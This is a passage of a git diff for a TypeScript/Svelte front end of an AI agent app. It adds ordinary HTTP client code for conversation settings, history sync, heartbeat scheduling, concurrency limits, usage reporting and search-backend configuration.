+ computerId = null;
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/computer`);
+ if (!res.ok) return;
+ const data = (await res.json()) as ConversationComputerResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) computerId = data.computerId ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load computer", err);
+ }
+ }
+
+ // The workspace conversation's persisted reasoning effort. Seeded from the
+ // backend on focus change; null = never set (the server default applies).
+ let reasoningEffort = $state<ReasoningEffort | null>(null);
+
+ /** Refetch the workspace conversation's reasoning effort (works for a draft too). */
+ async function refreshReasoningEffort(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ // Clear immediately so a switch never shows the PREVIOUS conversation's level
+ // while the fetch is in flight (null renders as the server default).
+ reasoningEffort = null;
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
+ );
+ if (!res.ok) return;
+ const data = (await res.json()) as ReasoningEffortResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) reasoningEffort = data.reasoningEffort ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load reasoning effort", err);
+ }
+ }
+
+ // The workspace conversation's persisted thinking flag (SEPARATE from the
+ // effort level). Seeded from the backend on focus change; null = never set
+ // (thinking ON — the default). PROPOSED endpoint (see backend-handoff.md):
+ // a 404 (endpoint not yet shipped) leaves `thinking` null ⇒ ON (default), so
+ // the selector simply shows the effort level until the backend ships it.
+ let thinking = $state<boolean | null>(null);
+
+ /** Refetch the workspace conversation's thinking flag (works for a draft too). */
+ async function refreshThinking(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ // Clear immediately so a switch never shows the PREVIOUS conversation's
+ // setting while the fetch is in flight (null ⇒ ON, the default).
+ thinking = null;
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/thinking`);
+ if (!res.ok) return;
+ // Guard against the SPA fallback: when DISPATCH_WEB_DIR is set (production),
+ // unknown API routes get index.html with HTTP 200 + text/html instead of a
+ // 404. Treat any non-JSON 200 as "endpoint not shipped" → leave null (ON).
+ const contentType = res.headers.get("content-type") ?? "";
+ if (!contentType.includes("application/json")) return;
+ const data = (await res.json()) as ThinkingResponse;
+ // Guard a slow response losing a race with a conversation switch.
+ if (deps.workspaceConversationId() === id) thinking = data.thinking ?? null;
+ } catch (err) {
+ deps.reportError("Failed to load thinking setting", err);
+ }
+ }
+
+ // The workspace conversation's auto-compact percent. Seeded from the
+ // backend on focus change; null = not yet fetched. 0 = disabled.
+ let compactPercent = $state<number | null>(null);
+
+ // The GLOBAL vision settings (shared across all conversations). Seeded on
+ // boot; null = not yet fetched.
+ let visionSettings = $state<VisionSettings | null>(null);
+
+ /** Refetch the global vision settings (`GET /settings/vision`). */
+ async function refreshVisionSettings(): Promise<void> {
+ try {
+ const res = await fetchImpl(`${httpBase}/settings/vision`);
+ if (!res.ok) return;
+ const data = normalizeVisionSettings(await res.json());
+ visionSettings = data;
+ } catch (err) {
+ deps.reportError("Failed to load vision settings", err);
+ }
+ }
+
+ /** Refetch the workspace conversation's compact percent (works for a draft too). */
+ async function refreshCompactPercent(): Promise<void> {
+ const id = deps.workspaceConversationId();
+ compactPercent = null;
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
+ );
+ if (!res.ok) return;
+ const data = (await res.json()) as CompactPercentResponse;
+ if (deps.workspaceConversationId() === id) compactPercent = data.threshold;
+ } catch (err) {
+ deps.reportError("Failed to load compact percent", err);
+ }
+ }
+ return {
+ refreshCwd,
+ refreshComputer,
+ refreshReasoningEffort,
+ refreshThinking,
+ refreshCompactPercent,
+ refreshVisionSettings,
+ get textFileContextRevision() {
+ return textFileContextRevision;
+ },
+ get cwd() {
+ return cwd;
+ },
+ get computerId() {
+ return computerId;
+ },
+ get reasoningEffort() {
+ return reasoningEffort;
+ },
+ get thinking() {
+ return thinking;
+ },
+ get compactPercent() {
+ return compactPercent;
+ },
+ get visionSettings() {
+ return visionSettings;
+ },
+ async setCwd(value: string): Promise<CwdResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetCwdRequest = {
+ cwd: value,
+ workspaceId: untrack(deps.activeWorkspaceId),
+ };
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `Set cwd failed (HTTP ${res.status})` };
+ }
+ const data = (await res.json()) as CwdResponse;
+ const next = data.cwd ?? null;
+ if (deps.workspaceConversationId() === id) {
+ cwd = next;
+ textFileContextRevision++;
+ }
+ return { ok: true, cwd: next };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Set cwd request failed" };
+ }
+ },
+
+ async setComputer(computerIdValue: string | null): Promise<ComputerResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetConversationComputerRequest = { computerId: computerIdValue };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/computer`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set computer failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as ConversationComputerResponse;
+ const next = data.computerId ?? null;
+ if (deps.workspaceConversationId() === id) {
+ computerId = next;
+ textFileContextRevision++;
+ }
+ return { ok: true, computerId: next };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set computer request failed",
+ };
+ }
+ },
+
+ async setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetReasoningEffortRequest = { reasoningEffort: level };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set reasoning effort failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as ReasoningEffortResponse;
+ const next = data.reasoningEffort ?? level;
+ if (deps.workspaceConversationId() === id) reasoningEffort = next;
+ return { ok: true, reasoningEffort: next };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set reasoning effort request failed",
+ };
+ }
+ },
+
+ async setThinking(enabled: boolean): Promise<ThinkingResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetThinkingRequest = { thinking: enabled };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/thinking`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set thinking failed (HTTP ${res.status})`,
+ };
+ }
+ // Guard against the SPA fallback (200 + text/html when the endpoint
+ // is not shipped). Optimistically apply locally — the backend can't
+ // persist it, but the UI reflects the user's intent for this session.
+ const contentType = res.headers.get("content-type") ?? "";
+ if (!contentType.includes("application/json")) {
+ if (deps.workspaceConversationId() === id) thinking = enabled;
+ return { ok: true, thinking: enabled };
+ }
+ const data = (await res.json()) as ThinkingResponse;
+ const next = data.thinking ?? enabled;
+ if (deps.workspaceConversationId() === id) thinking = next;
+ return { ok: true, thinking: next };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set thinking request failed",
+ };
+ }
+ },
+ async setCompactPercent(percent: number): Promise<CompactPercentResult | null> {
+ const id = deps.workspaceConversationId();
+ const body: SetCompactPercentRequest = { threshold: percent };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set compact percent failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as CompactPercentResponse;
+ if (deps.workspaceConversationId() === id) compactPercent = data.threshold;
+ return { ok: true, percent: data.threshold };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set compact percent request failed",
+ };
+ }
+ },
+
+ async setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null> {
+ const body: SetVisionSettingsRequest = patch;
+ try {
+ const res = await fetchImpl(`${httpBase}/settings/vision`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set vision settings failed (HTTP ${res.status})`,
+ };
+ }
+ const data = normalizeVisionSettings(await res.json());
+ visionSettings = data;
+ return { ok: true, settings: data };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set vision settings request failed",
+ };
+ }
+ },
+ async lspStatus(): Promise<LspResult | null> {
+ const id = deps.workspaceConversationId();
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/lsp`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `LSP status failed (HTTP ${res.status})` };
+ }
+ // Normalize the untyped body at this network seam so a malformed/partial
+ // response can never crash the renderer (servers is guaranteed an array).
+ const data = (await res.json()) as Partial<LspStatusResponse>;
+ const response: LspStatusResponse = {
+ conversationId: data.conversationId ?? id,
+ cwd: data.cwd ?? null,
+ servers: Array.isArray(data.servers) ? data.servers : [],
+ };
+ return { ok: true, response };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "LSP status request failed",
+ };
+ }
+ },
+
+ async mcpStatus(): Promise<McpResult | null> {
+ const id = deps.workspaceConversationId();
+ try {
+ const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/mcp`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `MCP status failed (HTTP ${res.status})` };
+ }
+ // Normalize the untyped body at this network seam so a malformed/partial
+ // response can never crash the renderer (servers is guaranteed an array).
+ const data = (await res.json()) as Partial<McpStatusResponse>;
+ const response: McpStatusResponse = {
+ conversationId: data.conversationId ?? id,
+ cwd: data.cwd ?? null,
+ servers: Array.isArray(data.servers) ? data.servers : [],
+ };
+ return { ok: true, response };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "MCP status request failed",
+ };
+ }
+ },
+ };
+}
diff --git a/src/app/history-sync.ts b/src/app/history-sync.ts
new file mode 100644
index 0000000..ed5d889
--- /dev/null
+++ b/src/app/history-sync.ts
@@ -0,0 +1,38 @@
+import type {
+ ConversationHistoryResponse,
+ ConversationMetricsResponse,
+} from "@dispatch/transport-contract";
+import type { HistorySync, MetricsSync } from "../features/chat";
+
+export function createHistorySync(httpBase: string, fetchImpl: typeof fetch): HistorySync {
+ return async (conversationId, sinceSeq, window) => {
+ let url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}?sinceSeq=${sinceSeq}`;
+ // CR-5 windowing ([email protected]): both must be positive
+ // integers when present (the server 400s otherwise; callers guarantee it).
+ if (window?.limit !== undefined) url += `&limit=${window.limit}`;
+ if (window?.beforeSeq !== undefined) url += `&beforeSeq=${window.beforeSeq}`;
+ const res = await fetchImpl(url);
+ if (!res.ok) {
+ throw new Error(`History sync failed: ${res.status}`);
+ }
+ const data = (await res.json()) as ConversationHistoryResponse;
+ if (
+ !data ||
+ !Array.isArray(data.chunks) ||
+ !Number.isSafeInteger(data.historyEpoch) ||
+ data.historyEpoch < 0
+ ) {
+ throw new Error("Invalid history response");
+ }
+ return data;
+ };
+}
+
+export function createMetricsSync(httpBase: string, fetchImpl: typeof fetch): MetricsSync {
+ return async (conversationId: string) => {
+ const url = `${httpBase}/conversations/${encodeURIComponent(conversationId)}/metrics`;
+ const res = await fetchImpl(url);
+ if (!res.ok) return { turns: [] };
+ return (await res.json()) as ConversationMetricsResponse;
+ };
+}
diff --git a/src/app/http-actions.ts b/src/app/http-actions.ts
new file mode 100644
index 0000000..55407b4
--- /dev/null
+++ b/src/app/http-actions.ts
@@ -0,0 +1,638 @@
+import type {
+ CompactResponse,
+ ComputerStatusResponse,
+ SetSystemPromptTemplateRequest,
+ SystemPromptTemplateResponse,
+ SystemPromptVariablesResponse,
+ TestComputerResponse,
+ WarmRequest,
+ WarmResponse,
+} from "@dispatch/transport-contract";
+import { untrack } from "svelte";
+import type {
+ AccountUsageProviderId,
+ AccountUsageResult,
+ AccountUsageSettingsResult,
+ UpdateAccountUsageSettingsRequest,
+} from "../features/account-usage";
+import { normalizeAccountUsage, normalizeAccountUsageReport } from "../features/account-usage";
+import type {
+ ConcurrencyCooldownResult,
+ ConcurrencyDeleteResult,
+ ConcurrencyLimitResult,
+ ConcurrencyLimitsResult,
+ ConcurrencyStatusResult,
+} from "../features/concurrency";
+import {
+ normalizeConcurrencyCooldown,
+ normalizeConcurrencyLimit,
+ normalizeConcurrencyLimits,
+ normalizeConcurrencyStatus,
+} from "../features/concurrency";
+import type {
+ HeartbeatConfig,
+ HeartbeatConfigPatch,
+ HeartbeatConfigResult,
+ HeartbeatNextRunResult,
+ HeartbeatRun,
+ HeartbeatRunsResult,
+ HeartbeatStopResult,
+} from "../features/heartbeat";
+import { normalizeHeartbeatConfig, normalizeHeartbeatRuns } from "../features/heartbeat";
+import {
+ normalizeSearchBackendConfig,
+ type SearchBackendConfigResult,
+} from "../features/search-settings";
+
+import type {
+ CompactResult,
+ ComputerStatusResult,
+ SystemPromptLoadResult,
+ SystemPromptSaveResult,
+ SystemPromptVariablesResult,
+ TestComputerResult,
+ WarmResult,
+} from "./store-types";
+
+/** Stateless app HTTP actions; callers inject the current focus/workspace. */
+export function createHttpActions(deps: {
+ httpBase: string;
+ fetchImpl: typeof fetch;
+ activeConversationId: () => string | null;
+ activeModel: () => string;
+ activeWorkspaceId: () => string;
+ reportError: (context: string, err: unknown) => void;
+}) {
+ const { httpBase, fetchImpl } = deps;
+ return {
+ async warmNow(): Promise<WarmResult | null> {
+ const conversationId = deps.activeConversationId();
+ if (conversationId === null) return null;
+ const body: WarmRequest = { conversationId, model: deps.activeModel() };
+ try {
+ const res = await fetchImpl(`${httpBase}/chat/warm`, {
+ method: "POST",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return { ok: false, error: errBody?.error ?? `Warm failed (HTTP ${res.status})` };
+ }
+ return { ok: true, response: (await res.json()) as WarmResponse };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Warm request failed" };
+ }
+ },
+ async computerStatus(alias: string): Promise<ComputerStatusResult | null> {
+ if (alias === "") return null;
+ try {
+ const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/status`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Computer status failed (HTTP ${res.status})`,
+ };
+ }
+ const status = (await res.json()) as ComputerStatusResponse;
+ return { ok: true, response: status };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Computer status request failed",
+ };
+ }
+ },
+
+ async testComputer(alias: string): Promise<TestComputerResult | null> {
+ if (alias === "") return null;
+ try {
+ const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/test`, {
+ method: "POST",
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Test computer failed (HTTP ${res.status})`,
+ };
+ }
+ const response = (await res.json()) as TestComputerResponse;
+ return { ok: true, response };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Test computer request failed",
+ };
+ }
+ },
+ stopGeneration(): void {
+ const conversationId = deps.activeConversationId();
+ if (conversationId === null) return;
+ void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/stop`, {
+ method: "POST",
+ }).catch((err) => {
+ deps.reportError("Failed to stop generation", err);
+ });
+ },
+
+ async compactNow(keepLastN?: number): Promise<CompactResult | null> {
+ const conversationId = deps.activeConversationId();
+ if (conversationId === null) return null;
+ const body: Record<string, unknown> = {};
+ if (keepLastN !== undefined) body.keepLastN = keepLastN;
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/conversations/${encodeURIComponent(conversationId)}/compact`,
+ {
+ method: "POST",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Compact failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json()) as CompactResponse;
+ return { ok: true, response: data };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Compact request failed",
+ };
+ }
+ },
+ async heartbeatConfig(): Promise<HeartbeatConfigResult> {
+ // Workspace-scoped (NOT per-conversation): use the active workspace id.
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Heartbeat config failed (HTTP ${res.status})`,
+ };
+ }
+ // Normalize the untyped JSON at the network seam (pure helper) so a
+ // malformed/partial response can never crash the renderer.
+ const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Heartbeat config request failed",
+ };
+ }
+ },
+
+ async setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(patch),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set heartbeat config failed (HTTP ${res.status})`,
+ };
+ }
+ const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set heartbeat config request failed",
+ };
+ }
+ },
+
+ async heartbeatRuns(): Promise<HeartbeatRunsResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs`,
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Heartbeat runs failed (HTTP ${res.status})`,
+ };
+ }
+ const runs: readonly HeartbeatRun[] = normalizeHeartbeatRuns(await res.json());
+ return { ok: true, runs };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Heartbeat runs request failed",
+ };
+ }
+ },
+
+ async stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs/${encodeURIComponent(runId)}/stop`,
+ { method: "POST" },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Stop heartbeat run failed (HTTP ${res.status})`,
+ };
+ }
+ return { ok: true };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Stop heartbeat run request failed",
+ };
+ }
+ },
+
+ async heartbeatNextRun(): Promise<HeartbeatNextRunResult> {
+ const wsId = untrack(deps.activeWorkspaceId);
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/next-run`,
+ );
+ if (!res.ok) {
+ // 404 = the backend hasn't shipped CR-HB-3 yet → the FE falls back to
+ // an approximation. Surface as ok:false (non-fatal).
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Heartbeat next-run failed (HTTP ${res.status})`,
+ };
+ }
+ const data = (await res.json().catch(() => null)) as { nextRunAt?: string | null } | null;
+ // `null` (disabled / no run scheduled) passes through; anything non-string
+ // also becomes null so a malformed body can't crash the countdown.
+ const raw = data?.nextRunAt;
+ const nextRunAt = typeof raw === "string" ? raw : null;
+ return { ok: true, nextRunAt };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Heartbeat next-run request failed",
+ };
+ }
+ },
+ async concurrencyLimits(): Promise<ConcurrencyLimitsResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/concurrency/limits`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Concurrency limits failed (HTTP ${res.status})`,
+ };
+ }
+ // Normalize the untyped JSON at the network seam (pure helper) so a
+ // malformed/partial response (e.g. the extension returning `{}`) can
+ // never crash the renderer.
+ const limits = normalizeConcurrencyLimits(await res.json());
+ return { ok: true, limits };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Concurrency limits request failed",
+ };
+ }
+ },
+
+ async getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Concurrency limit failed (HTTP ${res.status})`,
+ };
+ }
+ const limit = normalizeConcurrencyLimit(await res.json());
+ if (limit === null) {
+ return { ok: false, error: "Malformed concurrency limit response" };
+ }
+ return { ok: true, providerId: limit.providerId, limit: limit.limit };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Concurrency limit request failed",
+ };
+ }
+ },
+
+ async setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify({ limit }),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set concurrency limit failed (HTTP ${res.status})`,
+ };
+ }
+ const echoed = normalizeConcurrencyLimit(await res.json());
+ if (echoed === null) {
+ return { ok: false, error: "Malformed concurrency limit response" };
+ }
+ return { ok: true, providerId: echoed.providerId, limit: echoed.limit };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set concurrency limit request failed",
+ };
+ }
+ },
+
+ async deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
+ { method: "DELETE" },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Delete concurrency limit failed (HTTP ${res.status})`,
+ };
+ }
+ return { ok: true, providerId };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Delete concurrency limit request failed",
+ };
+ }
+ },
+
+ async accountUsage(opts?: { readonly refresh?: boolean }): Promise<AccountUsageResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/usage${opts?.refresh ? "?refresh=1" : ""}`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Account usage failed (HTTP ${res.status})`,
+ ...(res.status === 503 ? { unavailable: true } : {}),
+ };
+ }
+ return { ok: true, usage: normalizeAccountUsage(await res.json(), Date.now()) };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Account usage request failed",
+ };
+ }
+ },
+
+ async setAccountUsageSettings(
+ provider: AccountUsageProviderId,
+ settings: UpdateAccountUsageSettingsRequest,
+ ): Promise<AccountUsageSettingsResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/usage/${encodeURIComponent(provider)}/settings`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify(settings),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Save usage settings failed (HTTP ${res.status})`,
+ };
+ }
+ const report = normalizeAccountUsageReport(await res.json());
+ return report
+ ? { ok: true, report }
+ : { ok: false, error: "Malformed usage settings response" };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Save usage settings request failed",
+ };
+ }
+ },
+
+ async concurrencyStatus(): Promise<ConcurrencyStatusResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/concurrency/status`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Concurrency status failed (HTTP ${res.status})`,
+ };
+ }
+ const providers = normalizeConcurrencyStatus(await res.json());
+ return { ok: true, providers };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Concurrency status request failed",
+ };
+ }
+ },
+
+ async searchBackendConfig(): Promise<SearchBackendConfigResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/search/config`);
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Search config failed (HTTP ${res.status})`,
+ // The 503 degrade = the backend's search-config service not loaded
+ // (the tool-web-search extension absent) — a distinct UI state.
+ ...(res.status === 503 ? { unavailable: true } : {}),
+ };
+ }
+ // Normalize the untyped JSON at this network seam (pure helper) so a
+ // malformed/partial response can never crash the renderer.
+ const config = normalizeSearchBackendConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Search config request failed",
+ };
+ }
+ },
+
+ async setSearchBackend(backend: string): Promise<SearchBackendConfigResult> {
+ try {
+ const res = await fetchImpl(`${httpBase}/search/config`, {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify({ backend }),
+ });
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set search backend failed (HTTP ${res.status})`,
+ ...(res.status === 503 ? { unavailable: true } : {}),
+ };
+ }
+ const config = normalizeSearchBackendConfig(await res.json());
+ return { ok: true, config };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set search backend request failed",
+ };
+ }
+ },
+
+ async getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Get concurrency cooldown failed (HTTP ${res.status})`,
+ };
+ }
+ const data = normalizeConcurrencyCooldown(await res.json());
+ if (data === null) {
+ return { ok: false, error: "Malformed concurrency cooldown response" };
+ }
+ return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Get concurrency cooldown request failed",
+ };
+ }
+ },
+
+ async setConcurrencyCooldown(
+ providerId: string,
+ cooldownMs: number,
+ ): Promise<ConcurrencyCooldownResult> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
+ {
+ method: "PUT",
+ headers: { "content-type": "application/json" },
+ body: JSON.stringify({ cooldownMs }),
+ },
+ );
+ if (!res.ok) {
+ const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
+ return {
+ ok: false,
+ error: errBody?.error ?? `Set concurrency cooldown failed (HTTP ${res.status})`,
+ };
+ }
+ const data = normalizeConcurrencyCooldown(await res.json());
+ if (data === null) {
+ return { ok: false, error: "Malformed concurrency cooldown response" };
+ }
+ return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set concurrency cooldown request failed",
+ };
+ }
+ },
+
